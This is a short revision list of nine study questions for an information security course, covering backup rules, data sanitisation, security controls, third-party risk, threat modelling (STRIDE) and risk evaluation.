1. Three characteristics of secure information, and the Act requiring confidentiality.
2. The 3-2-1 rule, the 3-2-1-1 variation, and the three ML3 backup requirements.
3. Why "delete" doesn't destroy data; the four sanitisation methods; PROV's three authorities.
4. The six security controls and why each matters.
5. Three advantages and three disadvantages of each development approach.
6. The four third-party risks, and the four things an SCA tool does.
7. The four threat modelling principles and the question each answers; expand STRIDE.
8. All eight evaluation criteria. Why is the goal not to eliminate all risk?
9. Take any Week 2 case study and write a five-step evaluation of it.